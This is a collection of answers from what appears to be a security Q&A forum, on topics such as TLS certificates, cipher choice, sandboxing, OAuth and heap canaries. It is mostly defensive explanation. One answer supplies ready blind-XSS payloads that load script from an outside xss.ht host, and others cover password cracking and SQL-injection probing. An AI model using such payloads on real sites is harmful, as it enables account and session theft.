Read encrypted hard-drive after extraction from running computer

If your question is, does mounting an encrypted drive decrypt the entire drive, the answer is no.  Mounting an encrypted drive unlocks the encryption key which is itself encrypted by the mount passphrase.  It then passes the key to the driver so that blocks of the disk can be decrypted when read and encrypted when written.  So, what is decrypted is in memory, not on the disk, and only for files in active use at the moment.

The vulnerability is a weak passphrase.  If someone can seize an encrypted drive and guess or otherwise obtain the passphrase that unlocks the crypto key, then the entire drive can be decrypted just by mounting the drive and copying the files to an un-encrypted drive.

This vulnerability is why Ramona Fricosu is in jail.  (Her husband ratted her out by supplying a list of possible passwords.)


what information can be accessed with just the bank account number?

using Bank account number alone will not let you directly reach any thing , but on some banks it is used as  username for online banking , or it will be asked by customer service person as layer of authentication, or it can be used for social engineering and be part of information gathering


Explanation of SSL handshake with certificate

Firstly, a reminder, in public key cryptography:

The private key is used for signing and deciphering/decrypting.
The public key is used for verifying signatures and enciphering/encrypting.

See the glossary of the TLS specification:

  public key cryptography:
        A class of cryptographic techniques employing two-key ciphers.
        Messages encrypted with the public key can only be decrypted with
        the associated private key.  Conversely, messages signed with the
        private key can be verified with the public key.

In your question:

  1) the bank sends it's certificate and its public key to the client.

  this certificate has also a hashed info which was encrypted with
  servers certificate private key

This doesn't make sense (you don't encrypt with a private key).

The server certificate is signed using a private key (and yes, it's a hash of the certificate content that is effectively signed). However, it's not done using the server's private key (unless the certificate is self-signed). This is done using the private keys of the certificate issuer (the CA): the one named in the certificate Issuer DN.

Your browser or OS comes with a pre-defined set of CA certificates. These CAs are those able to issue certificate, that is sign their content with their private keys (and put their own Subject DN as the Issuer DN of the certificate they issue). When verifying a given (a priori unknown) certificate, you look for one of your known CA certificates whose Subject DN matches the Issuer DN of that server certificate. If the public key of that CA certificate allows you to verify the server certificate (i.e. if the CA did indeed sign the content of that certificate), it's a match.

(It's also possible to build a chain when there are intermediate CA certificates: the server can send a chain, which you may have to link to your known CA certificates.)

There is no encryption involved in all this: it's all digital signature.


Verb for "turning a bug into an attack"?

A bug can be seen as a vulnerability which once 'attacked' is being exploited.

If a number of vulnerabilities are exploited by a bad actor together as part of a wider attacker this commonly called a chained exploit.

If you mean about the breaking out of a VM attack then they can be referred to as a "virtual machine escape" exploit.


DNS in DMZ or not and mail server architecture

Bind has provisions for internal and external facing DNS. Just in case you want to have internal only domain names. In this way you can serve both facing queries. It also has settings that allow only trusted users from accessing it.


How does DHE-RSA-AES256-SHA compare to RC4 as the Cipher for SSL?

Cryptographically "broken" and just plain "broken" are different things, the former is usually taken to mean "less than brute force" (which can still be improbably expensive to achieve).

Aside from the fact that two ciphers, AES and RC4, are different internally (CBC block cipher, and stream cipher respectively), the observable differences are that AES-256 is 256-bit, and not as fast (as you correctly suggest) as 128-bit RC4. Speed is sometimes a reason cited for Google preferring it.
The "DHE" part means ephemeral Diffie–Hellman, which offers PFS, generally a good thing.
Both AES and RC4 support SHA-1 and MD5 for message integrity checking, the former is preferred (one or other must be used, prior to TLSv1.2 which added more algorithms).

Thomas Pornin very neatly sums up both the RC4 and BEAST issues here:

TLS: RC4 or not RC4?
Is there a way to mitigate BEAST without disabling AES completely?

The RC4 vulnerability allows for the most of the first 256 bytes of a connection to be accurately guessed with at least the conditions that:

the recoverable content must be the same for the duration of the attack
the attacker must capture a lot of traffic, some 224—232 of useful packets (which he can distinguish as start of a session)
the guessed content is still useful (i.e. HTTP session cookie) when he's done
the SSL session key is not recovered, only partial content

A quick back-of-the-envelope calculation indicates if you could saturate a wifi link (say 20Mbps) with ideal traffic you'd be looking at ~2 hours for the first 3-4 bytes recovered, and around 10 days for near-complete recovery of the first 256 bytes. (This is just factoring in bandwidth, the CPU requirements of the analysis are negligible.)

This issue with RC4 is quite old, it's only the quantification of the biases that is new.

I recommended AES ciphers over RC4 (BEAST is a client side issue, if the user still has a vulnerable browser at this point in time there are likely bigger problems to solve).

Although some of these issues are (IMHO) hyped a bit much, the best outcome is more progress toward uniform client and server support for TLSv1.1 and later. Around the time the BEAST was published, support was quite poor.


Do I need to change my host OS to something like Tails if I already have Tails running in a VM if I want to be protected on the interenet?

It's best to create a bootable USB/CD for Tails and not run it through a VM. Tails forces your internet connection through Tor, so if there any vulnerabilities with Tor (exit nodes, etc...) then you will be compromised.

For internet banking and things that require more security, it might be best to install Linux (Debian is a good distro) alongside Windows, create an encrypted Debian volume and use this for tasks that require higher security than your Windows system can offer.

Note: As per Tails Documentation on Virtualization. It is not recommended to run Tails in a VM. Reference: https://tails.boum.org/doc/advanced_topics/virtualization/index.en.html#index1h1


Securely compile foreign code and run it on a server?

What you're looking to do, if I read your question correctly, is to isolate possibly hostile code to be compiled and run on a server you control.

So you need some kind of sandbox/isolation to do that.

The question you need to think about is "how much isolation do I need"

Docker will provide reasonable isolation but it still exposes the Linux kernel on the host (all containers, by default, share the same Linux kernel) so an attacker could try and exploit an issue there.  Also attacker code could do things like scan the local network to try and find other things to attack.

Some possible options to improve the isolation provided by base Docker.

1) Drop capabilities from the running containers using the --cap-drop=ALL option.  This reduces the privileges that the container has and makes it harder to break out

2) If the running container doesn't need network access use --network=none so it can't attempt to make connections out to other machines.

3) Don't run the containers as root, make sure you set a specific user for each container.

You could also isolate each task inside a different Virtual machine, although there's a resource hit over Docker for that.


Risks of HTML/JavaScript window.opener security flaw?

There is no security bug here.

If somepage.html links to malicious.html, they are both located on the same domain. It is expected behaviour that the opened document malicious.html has a back reference via window.opener.

In the same way somepage.html could access malicious.html by creating a handle for the opened document:

var other = window.open('malicious.html')

This is consistent with the Same-orign policy, that allows different documents of the same domain to interact with each other.

Your discovery would however be concerning if http://evilhost/malicious.html would manage to access the DOM of http://somehost/somepage.html, resulting in a UXSS vulnerability.


Mutual TLS - with self-signed client certs - what is the security purpose of a client private key in addition to client cert?

I think you need to do some reading on what a certificate is. At it's core, a certificate is an attestation from the Certificate Authority (CA) to bind together the following information:

Name (DN or SAN)
Public key

Think of it like a driver's license that "binds together" your name, birthdate and photo. Imagine you hand your ID to a bouncer; alright, so they know that somebody has that name and birthdate, but to prove that it's you, you have to show your face and let the bouncer verify that it matches the photo. Mailing someone a photocopy of a driver's license does not actually prove that you are the person named on the ID.
Similarly, when you authenticate to a server using a client certificate, you are proving your identity in the following way:

Provide a public key.
Perform an operation that could only have been done with the matching private key, thus proving that you are the owner of that public key.
Provide a CA-signed certificate binding that public key to your name, thus proving that you are the person named in that certificate.

Update addressing comments
Yes, you really need to use the private key, even if the client cert is self-signed, even if it's issue by a private CA.
Sending a client cert without using the private key is like showing your ID to a bouncer without showing your face. You need to use the private key in order to prove that you are the owner of the public key in the certificate. In digital security we call this a "replay attack" because if all you needed to do was show your certificate, then once you've shown it to one server, that server could impersonate you to another server (or an admin of that site could impersonate you). Public key cryptography solves this because you only share your public key (which is inside the certificate) and keep the matching private key to yourself. If you're not using any of the cryptography in a certificate, then why go through the effort? Why not have users log in with username/password; that would be much simpler and get you the same security properties.


A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss

I don't see why most of their blind XSS payloads wouldn't work for your target:

Are XML attributes parsed as HTML attributes?

<html:script  src=//yoursubdomain.xss.ht>prompt(document.domain);</html:script>

If you're trying to stay inside the tags:

<html:script>var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)</html:script>

It has some other payloads you can try, as well as some tools that can be used to find blind XSS:

XSSHunter
bXSS
ezXSS


How do user receive server's certificate?

All certificates are signed in whole (protected against changes), so you can't change the name, or any other data inside it.

The certificate of the server you connect to is signed by the issuer certificate, which in turn may be signed by other certificates higher up, this is the certificate chain.  The top, aka root is signed by itself.  If you make any changes to any of these certificates, it won't have a valid signature anymore.  If you replace the public key and the signature, the certificates below can't verify using this certificate anymore.

The owner of a root certificate is able to change anything in their own certificate at will, so they can for example extend the validity (replace the expiration date), while still keeping all issued certificates valid.

The browsers are expected to have all current root, and some intermediate  certificates stored already, so you are able to verify all certificates issued by any of those with the security of how securely you acquired your operating system or browser (which may not be very safe, after all).

Whether users compare URLs is a different thing - the browser will warn you if you wanted to go to a site and the certificate is issued for a different name - but if the name you typed is misleading, and it has a valid certificate, it's still a problem.  CAs are expected to only issue certificates to names they can vouch for - and they invented those green EV - extendend verification certificates, which they check even more.

For example if you wanted to go to storemymoneypal, but mistyped storemymoneypai, and the site presented itself as storemymoneypaI (with a capital i at the end), it's hard to see the difference - this is what the verification is expected to avoid.  With unicode characters there are even more similar characters, but these dangers are well known, and any CA worth their salt to earn the trust of browser vendors will be aware of them.


This is the career path I've just taken (or am in the middle of, really). As Guillaume says, the best start is to focus on security in your current work. This could mean at your current job, or it could mean taking a similar dev post where you have the chance to concentrate on security.

What do I mean by 'concentrating' on security? If your dev team already follows a security development lifecycle, take on responsibility for some of the tasks as part of that SDL. If it doesn't, start introducing those tasks and leading adoption of an SDL.

Where Guillaume and I differ is at step 2: I didn't get and still don't have a CISSP or any other industry cert, though I do have a postgraduate software engineering qualification that includes security content. That wasn't necessary to getting into software security though: the route I took was to go out and find developers and talk to them about security. This means conference talks, podcasts, blog posts...I even wrote a book. Pretty soon you get recognised as "the security guy" in your chosen field, and the work comes to you.

I also disagree that you lose the ability to code. A lot of what I do now is programming: either implementing security controls for client products, writing tests to research platform security features or sample code to demonstrate security issues to fellow-developers.


How to know what others browse through the network?

In a WiFi network, all information which is sent over the network is broadcasted over the air. Usually network interfaces are configured to just ignore any network traffic not addressed to them, but there are tools available which change them to "promiscuous mode" which allows them to also log and show any traffic which they receive even though it is directed at other network participants. Although WiFi networks are usually encrypted nowadays, the key is shared between all participants, so any network participant can eavesdrop on the traffic of everyone else.

The only defense against this is end-to-end encryption.

For casual webbrowsing, you should try to always use the https:// version of a website. That way a sniffer on your WiFi network will only learn the domain you browse, but not which specific URL, what you read there and what you send there. When someone would eavesdrop on you right now, they would learn that you made a TLS handshake with https://security.stackexchange.com but not that the exact URL you view is https://security.stackexchange.com/questions/74471/how-to-know-what-other-browse-through-the-network/ and what you are currently reading here. Should you choose to comment on this, that outgoing message would also be encrypted. I recommend the browser extension HTTPS Everywhere which makes your webbrowser prefer https over http whenever possible.

Regarding chatting: Many chat systems do not offer encryption. When you are security-conscious, you should refuse to use these. There are too many chat systems available to list them all here, but the Electronic Frontier Foundation has a good comparison of the security features of many chat systems.

However, when you have a high security need, the best way to protect yourself on a public WiFi network without having to change most of your habits is to pay for a VPN service. With a VPN service, all your internet activity is routed through an encrypted channel to a server on the internet which then works as a proxy. As long as you trust your VPN provider, this allows you to do confidential internet activity from an untrusted network. The greatest advantage is that this works for any network traffic, so it does not matter if the software you use encrypts or not. However, keep in mind that the connection is only secured between you and the VPN provider. This 1. means that your VPN provider could eavesdrop and 2. that the connection between the VPN provider and your destination is unsecured.


Threat Modelling Examples (Distributed Systems)

I would highly recommend Microsofts approach with the Threat Modeling Tool (https://www.microsoft.com/en-us/download/details.aspx?id=49168) it comes with some instructions and guidelines. Also consider playing some elevation of privilege (https://www.microsoft.com/en-us/SDL/adopt/eop.aspx) that gives some good insights into threat modeling.

To get/make an example, look through: http://holisticinfosec.blogspot.dk/2014/05/toolsmith-microsoft-threat-modeling.html it goes through some of the points in the 2014 version.


I haven't used l0phtcrack in a long time, but I would suggest trying out John the Ripper.

I would also recommend grabbing one of the community enhanced version, for windows, here is a direct link http://www.openwall.com/john/g/john179j5w.zip.

I should also mention that you will want to grab a decent wordlist as the built in one may not be enough. There are a few good wordlists to start with at https://wiki.skullsecurity.org/Passwords.

The JTR syntax can be a bit confusing, but it is really powerful if you want to really get into password cracking.


Can a webpage track that I have downloaded the page source/webarchive?

There are several methods to track the requests, google analytics is one of the kind.

when you download a web page, obviously it can be tracked by the page owner if he want.
if you download it from web archive or any proxy, it will  be difficult to track as it is from you(your IP), how ever if the page has any analytic scripts etc they will be executed when you download that page from web archive also.


Detect and optionally block a certain string in network traffic on Windows 10

If you assume that your computer has malware, then there is no way to keep yourself safe except for nuking everything from orbit, rolling over all your passwords and using Hardware-backed 2FA wherever possible.

Staying "safe" on a system you consider compromised is not possible.


New user auth to prevent man in the middle compromise

What do you want to accomplish with this system? First, Attacker can generate its own pair of key. But why would attacker want to do that? In new account creation process, attacker would want to get the username AND password. Interrupting Server-Client communication by replacing Client's Public key with his is of no point.

Second, even if attacker simply listens to the traffic, it'll get the Client's public key. Now, next time Client sends anything to the server (maybe password?) by encrypting it with private key, attacker will be able to decrypt it with the public key.


Does the entire AES encrypted dataset have to be present to be 'cracked'?

You are doing it wrong. Not in the splitting or whatever; but in the thinking. AES encryption, if done properly, won't be "cracked". AES is the most robust piece in your system; this is the last part of it that you should be worrying about.

What AES encryption provides is a very specific functionality: using a given key K, it transforms a piece of data (the "plaintext") into something that is unreadable (the "ciphertext") except to those who know K, because knowing K allows for reversing the transformation. As long as K remains unknown to attackers, the encrypted data is safe. If K is known to attackers, then they have won, and no amount of splitting, or swapping, or dancing around a fire while chanting the glory of the Great Spirit, will save you.

AES uses keys of 128, 192 or 256 bits. There are so many possible keys that probability of an attacker compromising the key through pure luck is infinitesimal. 128-bit keys are sufficient for that; larger keys are not meant to increase security but to assert your status of alpha male among your fellow developers.

If you really need to engage into elaborate data-shuffling rituals so that, for instance, your boss gets the impression that "security is happening" and you are not slacking away, then you may as well do it properly. Don't split; instead, given a sequence of bytes C (the encrypted string), generate a sequence of random bytes D of the same length; then "split" C into two shares C1 = C XOR D, and C2 = D. To assemble the shares, just XOR them together: it so happens that C1 XOR C2 = C. That kind of splitting is demonstrably secure (an attacker who learns C1 or C2, but not both, learns exactly nothing, in an information-theoretic sense, which is about as good as any crypto can get). Provided, of course, that you don't botch things (you MUST generate a strongly random D, and generate a new one each time you have some string to "split").


Securing passwords for REST Authentication

The following links may provide you with an in-depth answer:

REST security standards
I just send username and password over https. Is this ok?
https://stackoverflow.com/questions/3461298/password-hashing-non-ssl

Please keep in mind that it is better to not use the username-password combination in every request that you make. Better is to authenticate the user, generate a token server-side, communicate it to the client (e.g. in a cookie) and use that token as authentication for subsequent requests. This link can guide you in that process: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Session_Management_Cheat_Sheet.md.


certificate based network authentication

When authentication uses a certificate, the important element is the private key: the mathematical object which corresponds to the public key (the one which is in the certificate). When a certificate is "installed on a system", this means that the private key is stored somewhere within that system. The authentication protocol implies usage of the private key: the key owner demonstrates that he has access to the private key, by doing some cryptography with it, which can be verified by using the public key in the certificate.

If the same (human) user tries to do the same thing from another computer where his private key is not, then he won't succeed and authentication will fail.

However, in some types of computer systems, and in particular the Microsoft / Active Directory world, the user's private key can be stored in the user's "profile", which means in some files which really are in the AD server and travel with him. The user opening a session on any computer in the network will find his certificate and private key as part of his profile, and thus will be able to use the private key for certificate-based authentication from any computer on the network.

Similarly, still with AD, authentication (as in "session was opened") on one machine can hop from machine to machine through the magic of Kerberos, even if certificates were somehow involved at some point.


Seems that in my case it was sufficient to use AES-256 ECB for ESSIV iv generation. I probably deceived myself by misinterpreting sentence:

  Note that while the cipher algorithm is always as the same as the
  algorithm used for data encryption..

Although it makes sense, since IV usage in generation of primary IV is unnecesary in this case.


Is running Powershell always as administrator a good practice?

is running Powershell always as admin a good practice?

Running anything with Administrator Privileges on Windows machines is generally not a good idea. With direct access to Windows API, ability to tamper with system files, registry, etc, an application with that kind of privileges is a serious security threat. Constrained language mode, turned on Applocker, or any other means to control the behavior of applications, logging, JEA, etc are a better way to control Powershell.

Since you did not clarify if there are any other methods of securing Powershell in your environment besides forcing it to launch in Admin mode, then the answer is NO, it is not a good practice to launch Powershell always as admin.


Man In The Middle Attack On File Uploads

actual real security concerns?

This depends on whether or not the application is properly secured.

Is the url served via a secure connection (HTTPS)?
Are all common security headers set, especially strict-transport-security?
...and other important headers, like X-Frame-Options to prevent clickjacking?
Does the web application have a proper CORS policy/configuration=
Is the web page secured against XSS (no vulnerable javascript frameworks used, X-XSS-Protection header properly set)?
Is the form submitted via a secure connection (HTTPS)?
Is "Service X" trustworthy?

When all of the above is true, and/or set up correctly, I don't see why this shouldn't be less or more secure than having the url already pre-set in the web application.

It would be preferable if service X was under the same control of the owner of the web application itself, since things like "trustworthyness" may change over time.

Just make sure that the application doesn't allow arbitrary upload urls for assets. I've seen that before, that webpage APIs allowed the user to specify the upload-url path, making it possible to create signed upload- and even download-links.


Can a CN-only certificate bypass a name constraint if the CA goes rogue?

The "official" X.509 stance on rogue CA is that rogue CA are out of scope of X.509. It takes some effort to accept that... The idea is that all the CA structure is not really about preventing attacks, but rather being able to point fingers at the culprits. If a CA goes rogue, then the fraudulent certificate chain will allow to pinpoint which CA got it wrong, and thus direct blame where it is due.

Most browsers deal with the issue about name constraints by not supporting name constraints at all, which means that trying to restrict a sub-CA to a specific domain is, for now, a fool's quest.

IF the support of name constraints was wide-spread, then you could restrict a sub-CA to issuing SSL/TLS for a specific domain by adding a name constraints that forces the subject DN to a prefix that defines the CN to a value that cannot be a FQDN for a machine. Thus, any "SSL aware" certificate would necessarily need a SAN extension, thereby avoiding the problem you allude to. But this still makes assumptions on the behaviour of implementations that encounter a certificate whose subject DN contains multiple "CN" fields; if the SAN constrains the DN to "CN=INVALID FOR DOMAIN", and the rogue sub-CA issues a cert with, as DN: "CN=INVALID FOR DOMAIN,CN=www.google.com", how will client software react ?

To sum up, name constraints don't work well or at all in practice, for lack of widespread support, but even if they were supported, whether they actually work would remain a hit-and-miss game.


If you are not authenticating the user, IMHO it does not make any sense to use oAuth.
oAuth is all for authenticating the user and authorizing an application to do stuff on behalf of that user.
if you want to authenticate your application with the API you can just use SSL with client authentication - that will do three things - authenticate the API to the application, authenticate the application to the API and encrypt the communication between them. SSL with client authentication requires that beyond the server sending its certificate to the client also the server demands the client certificate and can authenticate the client.

NOTE - this is just in case of a back-end application such as a web application. If you intend a client application to access your API you have no way to keep your API really private. In that case you can try to obscure your API from the public using some kind of token, but this token will have to be embedded in your client code which anyone with basic reverse engineering skills will be able to extract and use.


For cardholder present transactions, there's very little in terms of physical security within the PCI DSS. Cardholders are responsible for their cards and aren't supposed to hand them over to others for third party storage. What should happen in this scenario to limit the access of all bartenders etc to the card is that a pre-authorisation of $0.01 should be taken from the card and the card returned to the cardholder with their tab number. They can then order from that tab for the evening and pay at the end of the night. If they leave with their card, the bar can charge the card based on the pre-authorisation.

The other way to do this may be for a particular bar staff to be responsible for the cards of the people they're running tabs for so you know who has what card when. This isn't really practical due to shifts and taking breaks so the previous process would be best.


Why do some websites have their hashes on the same area as the download link?

When you hash a file, you do this to validate the integrity of the file. You need to have other security measurements to protect and validate the integrity of the web page, that is not what hashing a file is meant to do.

Although is it safer to have the hash published separately for the exact same reason you stated, which is to protect the hash and the download link from being changed, you should also know that being able to change a web page is a really big security flaw and this is should never be acceptable. There should be logging in place to notice immediately when a web page was changed without you doing it.

If you can replace something on a web page, you can probably replace everything (download link and hash, for example).


How to determine and compare risk in methods for document exchange

You don't specify, so I'm going to assume that you want confidentiality (no one but you and the recipient must see the contents of the documents) and integrity (the recipient should receive exactly the documents you sent without any modification).

Method 1: Email

Email is horribly insecure. Every mail server between the sender and the receiver necessarily gets a copy of everything in the email, and unless the email is signed with DKIM, each server could also modify it at will before sending it to the next.

Method 2: Website upload

Assuming the website uses TLS (i.e. it's an https url), uploaded file(s) will be encrypted between your computer and the website's server, so no one in between will be able to view or modify the contents (though they will be able to see that you sent something and they can tell how large it is).

Method 3: Physical mail

There are plenty of people that could interfere with your mail and view or modify the contents, but it comes with a risk of discovery and legal consequences.

Overview

A website upload is the easiest and safest option of the 3, as it is the only method that reliably prevents anyone but the recipient from viewing or modifying the contents.


HITECH : New United States Federal Act on Data Security

The first question you have to ask is "Does HITECH (and by extension HIPAA) affect my company?" Do you store files with protected information in them? Do you move files with protected information in them? If the answer to either of those questions is YES, then you must examine the security of your organization. Make sure physical and digital access to files/data is logged and is audit-able. Make sure the files/data reside on physically and digitally secured storage (on an encrypted drive with proper ACL's on a server in a locked rack, where physical access to server is logged and audit-able). If the data is in a database, are you using column encryption on personally identifiable data (think last name, address, dob, ssn, etc.)? If you're moving the files/data, make sure that you use an encrypted/secure connection to move them, i.e. HTTPS, SFTP, FTPS, etc., and that all moves are logged and audit able.

Meet the above basics first, then worry about digging in to more detail of the actual legislation.


How does the hacker manage to spoof a different IP address?

TOR, VPN, bots, proxies, you name it.. The source IP is not "spoofed" per se... it's the real deal. If someone really spoofed a source IP, they couldn't establish a TCP connection or receive any replies. The source IP spoofing method is more useful over UDP when launching an amplification attack to a victim/spoofed IP.


From what I've seen of PEAP setups, attacks usually revolve around MITM attacks.  If the client isn't set to validate the server certificates used, it may be possible to setup a fake AP and RADIUS server and persuade client to connect and authenticate to that.

From there once you've got the users creds you may be able to replay them to the valid server to get access (Depending on how authentication is done).


Is it bad to use DKIM DNS without signing mails?

Does it provide any trust at all to have DKIM set up correctly in my DNS but not sign any mails?

This does not make sense. You are essentially only adding junk to the DNS, i.e. information which are used nowhere.

  Now, if I send an email to a domain/server with DMARC set up, with policy=reject and adkim=strict, will all my mails be rejected? If so, it would be better to just ignore DKIM, right?

adkim only specifies how the sender alignment is done between the RFC822.From header in the mail and the domain specified in the DKIM signature. If the sender does not add any DKIM signature then the value of adkim is irrelevant.

If the  DMARC policy is reject and the sender adds no DKIM signature then SPF must match or the mail gets rejected. This means there must be a SPF record for the domain, the SPF lookup must pass and the SMTP.MAILFROM must be aligned with the RFC822.From.


The login page I'm testing lets me in as long as the username starts with the right name. How could the SQL query be made?

It's not possible to know the precise SQL query without seeing the code, but the following is plausible, but a stretch:

SQL

select * from users where username='{0}' and password='{1}'

Server-side Code:

Perhaps instead of validating input, this system is instead trying to sanitise. We can assume that passwords are not sanitised for dots (have you tried dots in your password?)
2a. Because of the '.' behaviour, let's assume that the code (PHP?) is grabbing the first bit of text before the first '.' character.
2b. Because of the even behaviour, let's assume that the code (PHP?) is filtering out evens only (using a loop with Replace("''", ""))

Database type

I assume the database is Postgres, where '' is the valid escape-character sequence. For MySQL it's '
Test cases:

theusername.random.stuff.at.the.end [success]

Sanitised username = theusername
Unchanged password = mypassword
Final SQL: select * from users where username='theusername' and password='mypassword'
Expected Result: Success

random.stuff.at.the.start.theusername [login fail]

Sanitised username = random
Unchanged password ='mypassword
Final SQL: select * from users where username='random' and password='mypassword'
Expected Result: Fail (Record doesn't exist)

Odd number of single quotes: theusername' [fails]

Sanitised username = theusername'
Unchanged password = mypassword
Final SQL: select * from users where username='theusername'' and password='mypassword'
Expected Result: Fail (Invalid Syntax)

Even number of single quotes: theusername'' [succeeds]

Sanitised username = theusername
Unchanged password = mypassword
Final SQL: select * from users where username='theusername' and password='mypassword'
Expected Result: Fail (Invalid Syntax)

Odd number of single quotes with double-dash: theusername'-- [says the password is wrong]

Sanitised username = theusername'--
Unchanged password = mypassword
Final SQL: select * from users where username='theusername'--' and password='mypassword'
Expected Result: Multiple rows (for some reason - maybe a bug that results in multiple username records being created with different passwords - perhaps over time? perhaps upon each password change?)
The server-side code gets multiple records and it processes them in a loop looking for a mismatch - it finds the mismatch on one of the records (even though there is a match, it isn't looking for a match) and response with the "wrong password" message.

Hopefully, this will help as a scratchpad for others to find a more plausible explanation. I don't like the server-side code assumptions, nor the multi-row assumption for test [5].


I got an email threatening to DDOS me if I don't pay a ransom. What should I do?

This article might be important for you: https://ca.news.yahoo.com/armada-collective-ddos-threats-were-212413418.html

Someone has been copying the Armada Collective's email content to scare people into paying, but no attacks have been recorded.

So, possibly, you don't have to do anything.


Issues/Vulnerabilities that TPM 2.0 aims to enhance/solve comparing to TPM 1.2

The UEFI made a small presentation describing why we need to get to the TPM 2.0 and forget the 1.2.

First the SHA-1 algorithm is considered unsafe, and as they say, just jumping to SHA-2 is not long-term efficient. So TPM 2.0 supports in theory every kind of hash algorithm. Here is the NIST's policy on hash function. SHA-1 should not be used for any cryptographic uses. (as forest said, sha-1 is only weak against collision, using SHA-1 with HMAC is not really impacted)

Considering the asymmetric cryptography, the RSA is not so much obsolete(while we stay with decent length keys), but maybe one day, the problem of the integer factorization will not be a problem anymore thanks to Shor's algorithm. We need to have any kind of public-key cryptography. So there are all the Elliptic Curve Cryptography algorithms, the discrete logarithms algorithms, and obviously the Integer Factorization.(Apparently, the elliptic curves should be more vulnerable to Shor's algorithm). Before TPM 2.0, the only choice we had was the RSA. The available algorithms depend on what the vendor wanted to implement.

Finally considering the symmetric cryptography, with TPM 1.2 we have the XOR and especially AES. There is no known attack against AES, but having the choice is nice. There are alternatives to AES like Blowfish. And there must be some kind of political choices(AES is approved by the NSA, some people/countries may think this is a bad indicator: « If the NSA approves it, they must know how to decrypt it »)

It is supposed to be easier to use. I will quote the UEFI presentation :

  Removed the confusing
  enabled/activated/disabled/deactivated
  states
  –
  It’s either there or not there (ACPI table)
  –
  If present, it can be used by firmware even
  if not exposed to the OS

Finally, TPM 2.0 contains 3 permanent hierarchy keys (Platform, Storage, Privacy) against only one for TPM 1.2.

The Privacy hierarchy uses the endorsementAuth and can be used to generate EK(endorsement Key just like in TPM 1.2), and thus generate easily AIK(Attestation Identity Key), which can be used in Direct Anonymous Attestation(Authentication with a Zero-Knowledge Proof)

The security hierarchy uses the ownerAuth and is used to encrypt/decrypt datas.

The platform hierarchy uses the PlatformAuth and can be used to initialize the TPM, and enable/disable the use of the other hierarchies.

So basically, with 3 hierarchies instead of 1, you can do the same thing, but the authorizations are more clever.


Does glibc use canary checking to prevent heap buffer overflow?

Glibc has some inherent capabilities at detecting overruns, and they can be activated with the environment variable MALLOC_CHECK_. See mcheck and mallopt for details.

Trying it out on a 64-bit Ubuntu 14.04 system, it seems that when allocating many memory blocks, malloc() rounds up the requested size to the next multiple of 8, and uses 8 extra bytes. E.g., if you allocated 1000000 blocks of 50 bytes, the process actually requests 64000000 bytes from the kernel, not 50000000. This leaves room for a "separator canary" of 8 bytes between any two allocated blocks.

These features seem meant to detect implementation bugs, not malicious exploitation. It is unclear whether they would be really good at actually detecting buffer overruns, and do so early enough; indeed, by definition, heap consistency checks of that kind can be enforced only when the heap allocation routines are invoked. This means that if you had a buffer overflow, you may get some notice only when the relevant block, or the next one in RAM, gets released: this happens after the overflow, possibly much after, hence too late. This contrasts with stack-based canaries, which are checked before returning (i.e. after the overflow, but before using the return address slot which may have been clobbered).

What such checks are more-or-less good at is detecting double-free issues. They cannot trap use-after-free cases, and, as explained above, when they detect an overflow it is probably too late.


Actually, modern antivirus software actually already uses a sandbox. Many of them will execute suspicious files in their own built-in sandbox, all the while monitoring them for malicious behavior for a fraction of a second. If the software appears to behave itself, the program is re-executed with the sandbox disabled. Otherwise, the AV software will quarantine or delete the file. This is a common technique in heuristic antivirus software. Note that malware often has techniques to evade this detection method by running a benign task long enough for the sandbox check to pass.


Is this approach of securing cookie secure?

Why on earth you want to store any credentials (even ciphered) on the client-side? The much better idea is to keep everything in sessions.

Moreover, if you want to think about cookies security, you cannot forget about flags like: Secure and HttpOnly.

HttpOnly - this one protects us from any kind of XSS vulnerabilities. This means, that cookie with this flag cannot be accessed through client side script (of course it works only for browsers which support this flag - nowadays, almost all of them).

Secure - this flag "forces" browser to use cookies only when secure/encrypted connection is set.


How does an attacker compromise a soft switch?

Testing SDN including soft switches can be accomplished with the delta GitHub project from -- http://opensourcesdn.org/projects/project-delta-sdn-security-evaluation-framework/

Ivan Pepelnjak, at his blog, but also in his 2014 Troopers conference talk (YouTube video here), discusses security issues with Software Defined Networks regularly.


How is a Tor hidden service authenticated based only on trusting the address?

Being able to generate a pair of keys with the same .onion address is of no help when trying to impersonate an existing service.  Impersonation requires generating a key with an existing address, which is a preimage attack, not a collision attack, and so the full 80 bits of address length are providing security.

80 bits of security is considered adequate at present, although just barely so.


TLS only cares about protecting the communication between two parties and has also an optional mechanism for authenticate the client (i.e. client certificates). The latter can be used for basing the authorization of the authenticated client on. But apart from that TLS itself does not provide anything to help with the authorization itself.


Is oauth client credentials flow safer than basic authentication with preshared secret?

The purpose of the client credentials grant flow is to enhance the ability of the client to bracket their privileges.
Here's the idea. You have a small piece of glue code which actually talks to the authorization server. It does the usual authorization code grant flow on behalf of other parts of the client and returns access tokens, like a proxy server. The rest of your code is then blissfully unaware of most of the OAuth complexity, and only has tokens for the specific resources that it needs to operate on. This is good, because it provides for privilege bracketing, reducing the amount of damage that can be done if a specific portion of the client is compromised. It also makes audit logging simpler and harder to subvert. You are likely to derive more security benefit from this if the proxy is heavily isolated from the rest of the client, such as by running on a separate machine, and only communicating with the rest of the client through a narrow and simple API. The proxy can also perform any sort of internal authentication which may be appropriate to the client's needs, to ensure that each component can only request tokens scoped to the appropriate permissions or resources.
But then you have a problem: Sometimes, part of the client wants to interact with a resource which does not belong to any end user, but instead belongs to the client as a whole. This might involve provisioning, billing, or any number of other administrative processes which are not specific to one end user. The "easy way out" is to give this piece of the client the same credential you gave to the aforementioned proxy, so that it can prove its identity. But if you do that, then this component will be able to do anything that the client as a whole can do, including requesting unrelated access tokens. This breaks our nice privilege bracketing.
This is the problem which the client credentials grant flow is designed to solve. The component which wants to do (whatever administrative thing) simply asks the OAuth proxy to obtain a client token for the specific resource it needs, and the proxy does so. That token is then scoped to this specific administrative task, and in no way entitles the component to access a user's data or anything else which is "not its job."


Does OpenSSL have stat for read change cipher spec (SSL3_ST_CR_CHANGE_A)

The change_cipher_spec message is not a handshake message; it has its own special record type. It is handled in s3_pkt.c:ssl3_read_bytes().

